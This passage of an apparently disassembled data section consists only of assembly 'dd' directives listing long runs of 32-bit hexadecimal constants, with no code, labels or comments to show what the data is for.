		dd 0B93C9381h, 86ED1A29h, 0E4972411h, 16D8B2C0h, 204AFABDh
		dd 4225A964h, 0D014F624h, 0A4232771h, 501D2613h, 409674B8h
		dd 0AAD4EF70h, 1E0B8175h, 91A8439Fh, 1829C6ACh,	0C72E9822h
		dd 1E08D4DAh, 0EAC60FECh, 6FF5C01Ch, 856EE41Dh,	56888E72h
		dd 966A04A1h, 0E81A2480h, 94142448h, 29FD9C00h,	0C9BBDAEh
		dd 0D3DFAD3Dh, 0F029AB0h, 858C038Fh, 24FC4855h,	141A487Eh
		dd 17C7043h, 71022A96h,	240CF01Eh, 0E788DC8h, 101BEB30h
		dd 0E442B491h, 9FC70D6Ch, 51F887A7h, 642E47C4h,	9EE2C584h
		dd 0F7C07A00h, 7B14C31Ch, 95FB038Bh, 82D74F26h,	0A79265A8h
		dd 3190BD00h, 2816AF88h, 93AE0757h, 573C54A5h, 84FDE412h
		dd 2F012EBh, 0E53E1DD4h, 612840F8h, 6178086h, 0E437E087h
		dd 51F07A82h, 0C98506C0h, 0A70210D6h, 0CFA619Fh, 0BE4051AAh
		dd 7F992001h, 30701705h, 6648E640h, 2D92194h, 8F71858Ah
		dd 429FC481h, 0C3182435h, 93205CBAh, 0A8C05072h, 0DA411792h
		dd 0E4585C12h, 0B0B108B0h, 1C00D82Ch, 0F7D31AF6h, 75BB00BDh
		dd 58119F09h, 0C5059C0Eh, 8871E01h, 76A1B80Bh, 415199C4h
		dd 3A0430EEh, 0A045C92Ch, 0FACB8C1h, 0AFED2600h, 4C984892h
		dd 80DEEB00h, 3094C062h, 0D257032Bh, 8EB58563h,	0E83FD031h
		dd 8848A9B1h, 8F252C19h, 5DAC54h, 47C1FF95h, 11787DFBh
		dd 6032C237h, 0B86E2AC3h, 2E498Ah, 0BE53E3F7h, 0D334FA69h
		dd 61D7DD1Ch, 5BAAB8C0h, 3FF22Fh, 967B2A48h, 3AEC12Eh
		dd 0A3027D71h, 93A9F605h, 0C42060FDh, 0BC7C00FEh, 0BB41BD5Eh
		dd 230F37CAh, 20AD05C8h, 29B66D83h, 0A490289h, 14F3FC26h
		dd 296BB451h, 646E38h, 4AD07F17h, 2FFA35F9h, 23A7DD00h
		dd 26BC0B6Ah, 73F3025Bh, 4ACAC7F1h, 248430CCh, 29BC4DF9h
		dd 42B048B8h, 614454C8h, 0E02CB3Bh, 202B960Ch, 68168FE8h
		dd 0BDAA0099h, 4DC34B85h, 0F8982802h, 1CE02700h, 1E11A8C5h
		dd 0C53C5EB3h, 143080ECh, 9F25DA6Fh, 7E0C6071h,	0B010C441h
		dd 0C91C0382h, 0BE30248Bh, 666F0060h, 76DE69E1h, 8427DA28h
		dd 0FA63580Bh, 49ACA17Fh, 1731F336h, 284A9FE0h,	7CC8E84h
		dd 0C5205E0Ah, 0F707C0ADh, 2A485BBEh, 0A8587C48h, 0E01C9ED0h
		dd 0A1C011F1h, 889DA3E9h, 1B06890Fh, 0DC681C09h, 0B4969A85h
		dd 10E95908h, 2AC81064h, 0C8067D12h, 0EB07F724h, 7F846B63h
		dd 92341350h, 49B720A1h, 0F13B094h, 0E4FA305Ch,	0D0A4D839h
		dd 0A0FA6570h, 267C905Bh, 0A4A1B5FDh, 224C28FEh, 0C789C914h
		dd 0C5C3B880h, 534C299Ch, 7024C4F0h, 12A5BD03h,	94AA9CD8h
		dd 14CF2803h, 0E07D56C9h, 0F08F83h, 67309633h, 0FD7B176Ah
		dd 0BC77A624h, 86B79F06h, 8CAA2C50h, 0D0BF5B14h, 3F59B033h
		dd 8AD6C30h, 4C90BCh, 0E835CEECh, 0FA8B441Eh, 96F2C401h
		dd 0E57BF051h, 55338430h, 8433F80Bh, 8C017A27h,	2093C614h
		dd 8E0080B8h, 0D54AA9FAh, 2F16AB2Ah, 0E8827F26h, 6C605467h
		dd 114A8865h, 7A42F449h, 3985133Ch, 7CA081CDh, 9B42971h
		dd 0C058A02Ch, 0A1C7B184h, 4428C6B8h, 0DA617C02h, 0A4914E77h
		dd 60023F3Eh, 582A1596h, 30AC9888h, 0FD69F9FBh,	0D4F1DAFh
		dd 0C526FC02h, 0B5D880B4h, 5ADF64h, 955357DEh, 4389A27Dh
		dd 16775102h, 84EA802Dh, 4E27808h, 0C3FF850Ch, 0C50079B8h
		dd 7AF02D8Ch, 26A346Fh,	7BFDD84Fh, 0B4403DEFh, 0C000BDBFh
		dd 0BCA33656h, 9297C4A1h, 0E0B45034h, 0C2AB4040h, 1E9EFB00h
		dd 0B6CD4888h, 5E275A1Dh, 22A980D8h, 988A800Dh,	0BE37E03h
		dd 26C2351Eh, 2C24C4E0h, 69FB062Ch, 424F015h, 0E088E078h
		dd 526000B0h, 243CA57Eh, 68E10726h, 1A281100h, 60621268h
		dd 0DBAA9E78h, 7D1D74D7h, 0AE930F1Eh, 25511027h, 886422E7h
		dd 44D745F6h, 9CF00274h, 30E6FF8Ch, 0D7334F03h,	0EB25C9B8h
		dd 65380031h, 620B7D91h, 2094EFBCh, 129F9B05h, 0F41204D4h
		dd 52797098h, 661EF448h, 0C87CD396h, 0BF2C85CCh, 0B073070h
		dd 25813E7Dh, 38693AD4h, 0A000C48Bh, 172F8AA9h,	62027E16h
		dd 0E18785Dh, 187F2B98h, 31D5AE1Eh, 0A9264B32h,	9D16B8C5h
		dd 3EC8F8D3h, 9B17AC10h, 0C0D43229h, 10834C4Ah,	3EA9A2ECh
		dd 744C705Dh, 9C0B25FAh, 0A0F2D485h, 83BC2A10h,	2CAF05BAh
		dd 0B6E9421Ch, 0EC044B84h
		dd 14CC5127h, 2D4A408Ah, 0BC364009h, 29C810BDh,	20489056h
		dd 2E01AD02h, 0EB7E9720h, 98406315h, 9308041Eh,	0BC764BE4h
		dd 6456FA16h, 0ECBD640Ah, 6009056Fh, 1EE0B017h,	0C5524E0h
		dd 3BF12044h, 16874F9Eh, 0F728170Eh, 8188C063h,	1104A73Ch
		dd 79F9FE90h, 0D86B58F7h, 0FC306449h, 0E71C1F4Ah, 888BC6C5h
		dd 61148943h, 0F9E0BEE0h, 82590971h, 2C094061h,	0F00050EAh
		dd 0D25EE3E0h, 0CD67250Bh, 264C6814h, 98825053h, 0D7E400B7h
		dd 2F617349h, 70B4D2C6h, 0C0BE0D41h, 1E791040h,	9451F512h
		dd 68F8B688h, 1F2700D5h, 2B3FA17h, 0A90EB491h, 5FE85FAFh
		dd 0F1859945h, 9115A0A0h, 75268B14h, 44295029h,	920D906Eh
		dd 38771B85h, 0E3FB788Ch, 65069018h, 15A01D8Bh,	203E4C88h
		dd 0BC91962Dh, 71A8317Bh, 0FC2CF1E8h, 734D854Bh, 0DA51C0FCh
		dd 4B8E1E15h, 85CC38D7h, 4005A95Ah, 5C024F78h, 0C1532B46h
		dd 99006FC4h, 0C731A02Dh, 0A2C4209Ah, 6724DC32h, 0A1461E0h
		dd 846875FEh, 0C3271E68h, 0F4C050AFh, 75A4A20Bh, 8DF054E4h
		dd 8C22355Fh, 5C9058BFh, 0C094749Ah, 0E64D1E09h, 822C82Bh
		dd 8C0861D6h, 0B312E9B1h, 15C51064h, 0C8B7858Eh, 4000E85Dh
		dd 0A7655EC9h, 0A4A40295h, 0B01C060Bh, 0D920983Ah, 582683E7h
		dd 42633069h, 161805CBh, 29E91Eh, 64D5F9CCh, 8B1D7630h
		dd 46981D8Eh, 5410A398h, 0BC8F6C7Fh, 0D19F41C0h, 51FC35B8h
		dd 749D1C88h, 0E8A1C820h, 0BEFE3023h, 2C9438B8h, 102C1193h
		dd 0B82252F4h, 649D8C44h, 816E48D3h, 4556E070h,	66E0888Ch
		dd 1942F40h, 44472EFCh,	743DA924h, 1044E98Ch, 0C0417F1Ch
		dd 0AC5FAC8h, 7D029487h, 6964A205h, 6D74075h, 5A3B0E26h
		dd 3A29B985h, 0A0AC8045h, 17FC02ADh, 0EE98C82Ah, 7ECCA06Dh
		dd 4C141C61h, 8822C2DCh, 40402072h, 0FC027D78h,	0C53D472Dh
		dd 255CE0BBh, 14DB3012h, 59D2EAA8h, 884FC924h, 0C3765000h
		dd 18B0FD75h, 0B869CD1Dh, 2B7BC5F5h, 0C230886Fh, 0C823059Bh
		dd 269C0h, 572809B3h, 2A813784h, 0DE61BFB8h, 0BF8A6560h
		dd 0BF071CAh, 8A0503Fh,	7AB3A947h, 81151620h, 607C7808h
		dd 0F8651E18h, 1500FCDCh, 7D974360h, 986AA06h, 0D11E4689h
		dd 630970DCh, 175450C0h, 0C7879285h, 6C92AB60h,	4C79D8C0h
		dd 1A854E04h, 0C4C83D9Ch, 479B82Fh, 17E8BA3Bh, 0C23CC244h
		dd 960CC080h, 4AFA7A20h, 5530957Ch, 0FD2618DEh,	0A9089A45h
		dd 1FA7D04h, 22F4C2ADh,	2AE3C12Ch, 4197D088h, 7514045Fh
		dd 6614800Ch, 89741DA6h, 0D0EAB4A0h, 649C960Bh,	0D4CC4C6h
		dd 7D5C25C7h, 78702830h, 862372Ah, 7CCC974Ah, 1AE4B878h
		dd 0A9B89626h, 1504A80Fh, 741C028Bh, 0B10CF2FFh, 3D9F0408h
		dd 24950033h, 1E5AC2B2h, 148FFD83h, 484C08FCh, 9C221E2Fh
		dd 3881E2C4h, 22984E9Fh, 2A168554h, 8E1EA4E2h, 0FA7A18h
		dd 0BDAA231Dh, 0C4F9EE9Bh, 24281C1Fh, 0B4FAFC40h, 79B793C3h
		dd 5A232F27h, 8C485412h, 0AB3F33B9h, 48D21C29h,	8FC62744h
		dd 15140090h, 442512C1h, 1A400ED4h, 63F78C0h, 3A40C954h
		dd 2CACB801h, 6100958Ah, 2BF29085h, 2E108040h, 5A25BBE2h
		dd 7B1409E5h, 6596CC83h, 0F5E087Ch, 548050C4h, 0B0395h
		dd 80DDE3A0h, 7A6732B6h, 1D54535Ch, 0EE5CCB8Fh,	3DA78C01h
		dd 0B4210E90h, 7F3C84C6h, 282F7CA8h, 0CE24899h,	80CB4BACh
		dd 0A02A9368h, 49D47A54h, 8481F000h, 0D856C62h,	180701E6h
		dd 5A243FB6h, 828C7C14h, 697AA625h, 58E0054Ch, 0DE110081h
		dd 2C60142Bh, 835FFEA5h, 61336830h, 0FD95270Bh,	2CBBDC01h
		dd 10CED8ABh, 0C9245001h, 683C139Eh, 8CF4EC44h,	65EA4EC8h
		dd 254893BCh, 824CC7ACh, 8C44272Eh, 735AAB7Ch, 95B60400h
		dd 25DDB897h, 0AC03C99Fh, 501B6DB1h, 0B096FB3h,	80581E11h
		dd 2094386Eh, 16CDC288h, 3FC0C824h, 197DEF8h, 0E15727B0h
		dd 7B86EF0h, 94C587FDh,	3FCA502Fh, 58913059h, 27284025h
		dd 0A0188056h, 0FDED6312h, 658DF400h, 5D411D89h, 0C02C281Eh
		dd 0D0F500AFh, 2E77795Ch, 68E1F700h, 0FDE67262h, 0E909815h
		dd 0F80FCE65h, 4D78A881h, 0FCB6C120h, 6000CB69h, 743E9E2Eh
		dd 2626227Ch, 57CDDDCh,	0B6F13A0h, 4C437A88h, 8AB0C0B7h
		dd 990BC5C1h, 29CC52A1h, 2CCF844h, 7DB79242h, 0CC407978h
		dd 0B8C1D2B3h, 0EB801E7Ch, 94174C62h, 4C803026h, 7CA096F1h
		dd 0C5813C41h, 9F0C6479h, 9B48D5F8h, 9C07B8B9h,	2511B365h
		dd 302474A9h, 313202EBh, 31CC567h, 994E1CF0h, 0D060A029h
		dd 68F95DB4h, 0A8859381h, 0DA882026h, 0BF3B1F01h, 1B15E510h
		dd 2585AC34h, 50CA64C1h, 9D138800h, 689E759Bh, 18B4E02Ch
		dd 7D0B6C88h, 9B89C1Eh,	5014FAC8h, 91CA80Ch, 0AA12083h
		dd 8C38F4E3h, 68E48CF0h, 4A00CA59h, 0F6DB864Bh,	3BCBDEDh
		dd 0C85EE88h, 9CB82AB6h, 0AD00C9D7h, 4232E82Bh,	0E109EBDh
		dd 18DC8CBEh, 6787E7E9h, 0DAA12EFFh, 0B0298B65h, 859811E6h
		dd 0EFC9614h, 0A3CF5227h, 813DCFA4h, 0C16A1EECh, 17827AEh
		dd 0FC2B3E27h, 647D8A9Dh, 0F000DC58h, 7123134Dh, 62260DDEh
		dd 0DC429C54h, 2A644008h, 266C9EB7h, 9DEB03CCh,	0C4042F80h
		dd 1250C6BBh, 283C8F4h,	0D79706C1h, 0DCC06188h,	5B51E985h
		dd 450CAC0h, 7CC42555h,	8C880FA0h, 0E0C8D66Fh, 29E741AEh
		dd 0BA27228Ch, 4078BC78h, 1DCA25C3h, 227C3C92h,	78113E1Dh
		dd 4FFD18BEh, 98AE1718h, 281825F4h, 0BBBEE490h,	452FF8A4h
		dd 489092C9h, 412AA280h, 25443449h, 6E0CC4Dh, 3866A02Fh
		dd 9434F048h, 50981600h, 59882CA8h, 0F172CD02h,	0D864706Fh
		dd 55A25060h, 6528BF63h, 0D1601274h, 2FC48A16h,	81389698h
		dd 0D0511408h, 0B420E172h, 962C0094h, 857EE357h, 0ACA063F5h
		dd 757F1EF7h, 798FBF12h, 0B58EDC80h, 0D8AC00E9h, 431DE820h
		dd 6D4BA03Dh, 4F07E090h, 9D852E78h, 310903BCh, 0CB2B6F7h
		dd 0F626E8C0h, 0D0840200h, 980B9DBDh, 9FC20893h, 0A70299F2h
		dd 0E85E858Ch, 9653278Ch, 0C8A144C8h, 58B11690h, 251EC438h
		dd 0FC80017Ah, 65EB83C0h, 569FF90Ch, 2309937h, 50222F14h
		dd 0FEC0A5BEh, 0B163AB84h, 680D70h, 5ED945F0h, 0C94E7812h
		dd 0E82F1600h, 8DFA87BDh, 280B0017h, 0EC018550h, 0A70C65D1h
		dd 11861829h, 14BF50BDh, 2B1E34A0h, 80AC8078h, 42268FA2h
		dd 0EE0C5445h, 793D0F5h, 211D98FDh, 8E88BDBh, 6C9022E4h
		dd 20388541h, 35C9A3CFh, 901648C4h, 0A4F07785h,	60C94A41h
		dd 2221C04h, 406388A1h,	6D246990h, 2C009C5Fh, 95C33FB5h
		dd 0BD4538B6h, 6810A580h, 3D94F530h, 6EA18E16h,	0D34CF480h
		dd 0EA910017h, 0BE12AD6Dh, 0F2012F90h, 4F89B21Bh, 806A8FC2h
		dd 4A2E2BD4h, 0B5C0E4A3h, 0DF168C23h, 0FC017E63h, 2DE01E12h
		dd 88FE9081h, 0F4FC94C6h, 3A3D756Eh, 761D0B68h,	0F7702534h
		dd 0C6E4B400h, 5DC7B0D8h, 405DF0FFh, 7F84850Ch,	727526F8h
		dd 7D36F1C4h, 0CAC85081h, 4539103Dh, 0E0D05FA4h, 7B6D8591h
		dd 4943D4Ah, 0FC5944B9h, 9F804393h, 60008C44h, 40121BDCh
		dd 4A1A260Eh, 90A8844Eh, 0FDE58510h, 3012F8BAh,	8F19F24h
		dd 0BAC9A800h, 1D9A0C8Ch, 3EA062EFh, 4024A171h,	6400BCEBh
		dd 66E97D17h, 414B008Eh, 271232DDh, 0A8944AC0h,	38D1F541h
		dd 133C28DCh, 0C0CB88EEh, 299679F0h, 0E7422C94h, 0F8AD00DEh
		dd 0A01B145Eh, 88484D38h
		dd 52F11EFh, 0E9FDF318h, 211C5295h, 5748854h, 5C26D0Bh
		dd 0B44B7F90h, 412CE012h, 4F3491F9h, 8F812E48h,	0EB269512h
		dd 882156F1h, 612EC5CDh, 0B298E4h, 7AC8A54Bh, 0C3251970h
		dd 41B37863h, 2E08A714h, 0C5C0DC01h, 46C299Fh, 45B19285h
		dd 0D1991E14h, 2E842528h, 0ABFD7802h, 3F3C91B3h, 0DBE89021h
		dd 0C3E2019Bh, 2FF54E77h, 0A345CC3Dh, 0DC41100h, 4223E98Eh
		dd 4C7DF385h, 3A242A09h, 1CB060D2h, 0A6659004h,	0A4F80395h
		dd 0B5110685h, 84CC45E0h, 0D95C8005h, 9C906AB5h, 0B802DD26h
		dd 4B560C09h, 4869BF48h, 1A46494h, 28965BFFh, 70890D4Fh
		dd 1E1203D6h, 1C005CF9h, 0F53AEF42h, 0EB68000Eh, 0A1933DACh
		dd 9095CBD7h, 1252BFACh, 2999D24h, 66BE1BF4h, 1DD26440h
		dd 0D488CD28h, 0EEE9ED0Fh, 0A4F48E1Eh, 4C82FF94h, 31AC4140h
		dd 144870FEh, 94FB1F56h, 49190078h, 0A1A85DE7h,	70C0292Eh
		dd 399F2895h, 0CDB13ACBh, 9833A981h, 23AC0420h,	88F11E5Ch
		dd 5660FD00h, 481F926h,	4AE933C0h, 0BFACC0A8h, 0E30121D6h
		dd 7D962E57h, 0FF34B49Fh, 0A1020394h, 0FD4CF784h, 379E1D88h
		dd 0BC39C0C7h, 12C9F9D3h, 46EE668h, 3C8F4D4h, 16FA2354h
		dd 0C786B8h, 11A44427h,	5B01F9C2h, 7D9B040Bh, 9DEC55A5h
		dd 391E172Dh, 9EBC436Dh, 0C13E41A1h, 7AB58094h,	0EB7DA9F1h
		dd 0D89D071Ch, 1012F634h, 53986664h, 171DF8FCh,	254914EEh
		dd 183C6008h, 693D0567h, 0C1D85C7Eh, 65EA8D64h,	9723F868h
		dd 64630904h, 0E0E74394h, 0A092922Fh, 85F29050h, 201DDB34h
		dd 295A88B3h, 68502108h, 31D330F8h, 5CB458F2h, 0C825ECA0h
		dd 23C064A4h, 9EB8E377h, 168B0719h, 102855A7h, 0EDFF0244h
		dd 8EFDDE00h, 6F3294C5h, 3E4124B0h, 0AAB942B0h,	0C824762Eh
		dd 9A0BC8B0h, 4DCB1C0h,	947E6CA0h, 0C5D4AC54h, 4CF10D40h
		dd 31182029h, 0C7AD289Dh, 82E4FA4Ch, 5CA59826h,	0B9496054h
		dd 1E13231Bh, 6480C8E7h, 49EEA1AFh, 2B00049Fh, 0DA3B27FCh
		dd 9709E4D7h, 20570124h, 7CF307B8h, 44C4B839h, 0D28A9B3Ah
		dd 0CBBF3254h, 0BA406E58h, 3E7EF8C3h, 3CABD402h, 695207A0h
		dd 843CCBACh, 0ACD8F985h, 0BCCD10C0h, 888B1438h, 0D4189B70h
		dd 0A6642785h, 9CE111h,	0A4600D8h, 0A869C695h, 0AF002764h
		dd 0B6C824F9h, 581D9FD1h, 0AA091CDFh, 50F69C25h, 16F02D06h
		dd 0A11C1D41h, 14B22FEDh, 85124470h, 4440D1EEh,	501CFF1Bh
		dd 8CBD00CFh, 0C641A978h, 0E025679Fh, 74F090FDh, 4BCB1362h
		dd 2060E5AFh, 0C12D7728h, 963C9895h, 28F948FCh,	0C8E56F15h
		dd 1411A809h, 0C39F0830h, 127424E3h, 7B91F61Dh,	0D823880Fh
		dd 93D3299h, 89E85F2Fh,	79B68C80h, 0DE00094Dh, 55A81424h
		dd 76DFB493h, 0E7EF02E9h, 6C853F32h, 2607847Eh,	514B4D2Bh
		dd 8C21BCh, 25B92494h, 0FD0AB2C9h, 8FC95AFh, 0C4951313h
		dd 30E41084h, 92289E96h, 671C4421h, 0DFF4E954h,	0AFB7404Eh
		dd 0A1AD4384h, 0C8CCBCA3h, 6C220027h, 0BC892D33h, 0A0028681h
		dd 31E82599h, 7594E040h, 0AFE0179h, 4814277Eh, 4A907C45h
		dd 44105CDCh, 3891C43Fh, 0C55BF80h, 4186209Fh, 70004257h
		dd 6A98E841h, 379F7C20h, 202EF1D2h, 9DC5C68Ch, 36541700h
		dd 0BDCED73Ah, 0CFB70083h, 0CA837D2h, 0CD2A859Ch, 3003CCC4h
		dd 0F57614A0h, 2F2FE787h, 8CCD923Ch, 0A0C4A0DCh, 0B8D6F1B4h
		dd 0E0853EC7h, 0B4B888CEh, 62FB021Ch, 748D9F06h, 2C930138h
		dd 243EAF29h, 0A0C57EC9h, 3865D895h, 0C116A4F6h, 2220A31Ah
		dd 20349011h, 0A5B56067h, 98B0C04Ch, 88FF09DCh,	0BC2A5D12h
		dd 0BBDE8B88h, 6685447Bh, 0C0E00D87h, 7ABB3E9Fh, 0C260884Bh
		dd 7308849Eh, 205400C1h, 3A5229FCh, 0E7B58002h,	822B44B2h
		dd 0A7F088E8h, 80FBD7E0h, 25AE261Bh, 2C109CB2h,	470F0C01h
		dd 9495C248h, 0C4830B48h, 4E27992h, 30AC1C7Ch, 2D1FBE08h
		dd 23062481h, 85B44CD1h, 0E895E730h, 1EBC2627h,	0BE38D17h
		dd 0E09443A8h, 170AF405h, 7C90EBA0h, 582A59D8h,	0B11668F6h
		dd 82BC8598h, 0ECFA8AB0h, 0CD2C9092h, 9406C803h, 1E71D785h
		dd 16A4222Eh, 0F600E0F0h, 0DC021099h, 54C46201h, 0C8929738h
		dd 60C565D0h, 45AA7DF7h, 0ADED45ECh, 0E03E64h, 90BABEEAh
		dd 0BAE71DCEh, 858F16BCh, 141CA015h, 0EFEE4B00h, 90C5B216h
		dd 137E090Eh, 0C4546017h, 70960C0Ch, 24B40B07h,	78E35FE7h
		dd 139D9004h, 0F0F8FEA1h, 164F6000h, 2C8DC324h,	4B6FED07h
		dd 218C6332h, 23480CF0h, 5B80ACC6h, 4B158C40h, 0F664C854h
		dd 0D2880C96h, 362700B5h, 106034A4h, 0A112B0E6h, 8025A0C0h
		dd 95840404h, 150F140Eh, 73A06C4h, 9610BDACh, 7750D6h
		dd 0B1920CA9h, 0FFE9E8A4h, 79B89F18h, 0F4F4C528h, 0B089092Bh
		dd 0E0F04985h, 991BA71Fh, 941F6A92h, 0A11A2F09h, 0FD0B535Ch
		dd 5A0A1DF8h, 9034806Bh, 0B6B09518h, 0BD1F46F0h, 612791BFh
		dd 5713528h, 0FCCC246Eh, 40D8D738h, 480971Fh, 0B5C4B90h
		dd 978B0C17h, 28B2E806h, 0B6FE04C0h, 0E0F725A7h, 42501B48h
		dd 7D2506C8h, 26E844CBh, 2ED48965h, 252993B4h, 0A21800D4h
		dd 6CE91CFAh, 0CA206090h, 0F2C300CDh, 5BA7C615h, 0FC0B0CB7h
		dd 4157D396h, 0F8249D28h, 32340245h, 53C8A1AAh,	0A08FF876h
		dd 8B4223BFh, 49F9C096h, 7A2C2659h, 0AC1084h, 0FA5EBFA7h
		dd 0F974D7Eh, 64A288CCh, 92FD4BA1h, 82806867h, 8199151Ch
		dd 79857B84h, 4601082Ch, 0A196340Fh, 22E461A0h,	487B802Ch
		dd 0D83E32Dh, 0BDE224A5h, 1E7AC8F8h, 6251A460h,	0CB63F7h
		dd 0F8B3D967h, 6E73DCEDh, 1E87A300h, 2815FC7Eh,	0D8E00F36h
		dd 0A0019CF4h, 712454ABh, 3C8EF088h, 34070301h,	0C7B4A198h
		dd 2A7B8040h, 0D5F3D18h, 8F94095Ah, 78B06470h, 9C21AF5Bh
		dd 127B2A91h, 8664E6FCh, 95F024E6h, 7F2D1C00h, 0C826F89Dh
		dd 0C900CD10h, 3506E605h, 682C04B6h, 81EB660Dh,	2073A450h
		dd 0F500EDA8h, 0DE331C89h, 0A81E35h, 49BDBE24h,	0E72A0BAh
		dd 8B9FCCF4h, 0BC0D9A4h, 3E016CAFh, 40315388h, 0D19D0FD8h
		dd 101CD259h, 0E1008147h, 0E72B8C0Dh, 0B94D039Fh, 0F0A293F0h
		dd 0EE0BC08Bh, 0C405CC89h, 93D8BC79h, 0CA65416h, 10181C09h
		dd 0CC963070h, 46ACE642h, 0A24D056Ch, 0C7362C94h, 7401CBABh
		dd 6A52CA1Eh, 4EE60C21h, 612EBC20h, 0D29B586Bh,	80D87CECh
		dd 0A17D2C66h, 9DBB0315h, 8EEAC565h, 0D1BEE0C3h, 8EF93B27h
		dd 3E8B48FCh, 0D9E93600h, 5140101Bh, 0C1080C9Ch, 498E009Fh
		dd 562894DFh, 451E50B8h, 8008D8Ch, 0BD39ACCEh, 7D532481h
		dd 1E790714h, 72B07C30h, 71BF2903h, 0FB643E3Ch,	1CBBA08Fh
		dd 0F2C9A5Eh, 22DA2F8Bh, 176874Eh, 1940911Fh, 0A8DC2095h
		dd 0FC54C040h, 967D03FAh, 0CB746702h, 1C2823A8h, 0AD59500h
		dd 72BBBDE8h, 232F6B1h,	69C0B60h, 7CCCB929h, 7FB8A54Dh
		dd 45D61E18h, 0BC3E80h,	0E2021B29h, 8592BEB4h, 0A0FC6825h
		dd 0EFC857C8h, 913C064Bh, 908F1AA1h, 8C25AA16h,	0C798E4D3h
		dd 16139631h, 59F888FCh, 1E01B08Eh, 0A8FCC21Ah,	0DC402A98h
		dd 0B41DE9C6h, 4380D678h, 801F7EE8h, 0C42010AAh, 65B18F5h
		dd 1A853AD6h, 1EEA90C1h, 386CEB32h, 2744503Ch, 6C80AB26h
		dd 25BFD5C2h, 9CAE2A26h, 60B284Ah, 3A3CF2D4h, 22408560h
		dd 90ED2B2Dh, 251334F8h, 24254F79h, 0C38CE93Eh,	989C585h
		dd 243A7D8h, 4ABCA076h
		dd 1785B0D8h, 0B73AB08Bh, 5C005E6Ch, 0D98C3F1Ah, 379F241h
		dd 9EC59C57h, 11A6FBABh, 0EF55C100h, 0D600489h,	50EB1842h
		dd 96A0F4BAh, 0B3C048EBh, 0F7B86240h, 0E602EAF4h, 204B60F2h
		dd 9C858C57h, 130C18B2h, 0E02D207Eh, 6C8D8941h,	3CAF014Ch
		dd 3092CE14h, 17839FDCh, 4BE67029h, 5CF8D77Ch, 4A2E9400h
		dd 7D882D81h, 7560008Bh, 100C738Ah, 0C700A380h,	0E5B07F04h
		dd 27A0121Bh, 7498A299h, 0C9005E05h, 0CCC14A70h, 0B065A8FFh
		dd 27962D9Fh, 23858868h, 323B1E25h, 68A4569Ch, 2C2741B4h
		dd 0FC202E46h, 0D8775F26h, 0BD9F2811h, 94800597h, 0D1000B3h
		dd 1B2700C5h, 8D5925F8h, 7DA400BCh, 0B6014E89h,	8C28242Ah
		dd 0DC9CAC27h, 0A1A86501h, 8440D349h, 26170C7Bh, 83343EAFh
		dd 3F6325ACh, 17FD3020h, 8847CCA2h, 0BB312544h,	40121076h
		dd 0BC40683Ch, 4A6C98E5h, 0ADE40BB2h, 0FBC28C20h, 92FC83FAh
		dd 95380CB8h, 7445892Ah, 2698F87Fh, 16481346h, 2858F08Fh
		dd 91E0B0F0h, 0CEF02D02h, 0C0AAFD5Eh, 1E7FFA68h, 8743FC96h
		dd 0D0659FA1h, 0AF199B1Dh, 76603295h, 1E78E060h, 28C93115h
		dd 789072FCh, 0A2B316C5h, 4BF4A807h, 1CD00839h,	0BDBC9040h
		dd 1B058881h, 9DB43078h, 17E08841h, 87BD0EB3h, 0C522A396h
		dd 0A8E3B2E9h, 837D113Dh, 0F5E3B1B4h, 7306C854h, 5F6EFBA7h
		dd 2B4970E0h, 203E4E78h, 3DF30A24h, 6A004422h, 7708BDCDh
		dd 0F9881632h, 68FCB44Eh, 0CEFDE120h, 1C8577E8h, 94D0CC80h
		dd 58A4A8B9h, 0FF782589h, 0F17308A1h, 0C0F42892h, 278599C1h
		dd 789A9Dh, 0A5CB0318h,	309A2623h, 2CCA0B5h, 0ECE1ACBDh
		dd 0A8130432h, 0D3B42609h, 9284C55Ch, 9F8E682Ch, 4DC26C40h
		dd 8C9289BDh, 0CCDA2A2Eh, 0C06484A7h, 136C0FBFh, 8BAD1858h
		dd 31855938h, 1E0C88A2h, 343FD4F1h, 9F68C1DCh, 0A8AC24CFh
		dd 1C162518h, 0B0B34980h, 0B6483F64h, 0B6076EFh, 0A958B02h
		dd 0B5007DE2h, 0B7B9BB10h, 4C1DFD8h, 88231566h,	0FC47AA85h
		dd 0C419BC33h, 0AD10B1FCh, 4E1EFC02h, 873E88C8h, 0CC350D5Eh
		dd 18A2944Eh, 5C538511h, 9A8D50E3h, 9C1E3FC9h, 7BD7A900h
		dd 0C192BAh, 2189E826h,	0E6AA1E28h, 3DF9C00Bh, 0A9B486BDh
		dd 9CC74B11h, 0EE4F2B34h, 36147C40h, 0A008D588h, 3110FF0h
		dd 0DC9EF93Ah, 0D8A0C122h, 0A8208839h, 0B30A0079h, 1CAA4C4Bh
		dd 909018ADh, 0E3858D0Ch, 0A60B208Bh, 4002956Ch, 0BD0275C2h
		dd 4C3B60A0h, 0E510C028h, 0FB691D97h, 38A130D3h, 0DF0A5AE0h
		dd 0B858A58h, 82AA82FCh, 0C746E24h, 1106DD09h, 0E83CD268h
		dd 936D1C0Ch, 0A31D3E38h, 0C2E79DA1h, 0E95C5EC4h, 1EE6D0C6h
		dd 65A80D59h, 8C107C70h, 40BDB264h, 1E804878h, 0AF7FD4h
		dd 58D1F3C0h, 0E64F0D25h, 5EAC0C81h, 0A64A0468h, 9C009284h
		dd 5305147Eh, 80FCB9C8h, 8F76ED2Ch, 0E6328350h,	0A1A9B8AEh
		dd 554B1EE0h, 0BBCC217Fh, 84F032A4h, 80E84C65h,	1E9C8096h
		dd 3A9D7A9Dh, 0EEFC9650h, 81825F25h, 0C0A17DACh, 59094149h
		dd 7AD2C91Eh, 6085958Ch, 852CB0A4h, 89AD72Eh, 0B1904680h
		dd 2B3BB59h, 25185FE5h,	1C609FDCh, 524F2814h, 1C2BD021h
		dd 0F7E6B600h, 8600F0FAh, 0C3FC2556h, 0DE1F9024h, 9790AE78h
		dd 26B0B391h, 42083824h, 0A57007Fh, 4057D9Ch, 0DB0BE371h
		dd 2142C15h, 0C87B4263h, 80648C40h, 0E42CDA4Fh,	0A63CEC0Fh
		dd 0C596041Fh, 88D6A880h, 0C0294BBFh, 5F64810h,	875FCBFAh
		dd 0A0B03887h, 75998D0Ch, 0AE4C3027h, 880A6540h, 3400254Ah
		dd 0DDB35415h, 0F5CE00D8h, 78C007FAh, 829FA285h, 0C9C11680h
		dd 3C7FB478h, 6C9C8E08h, 503309E9h, 4A9F1AE4h, 80842918h
		dd 0A480A816h, 12BC30AEh, 1D50759Dh, 785526ECh,	0BC276BC8h
		dd 5774D82h, 0E91CD17Eh, 38C206BBh, 330F49C2h, 1F005DADh
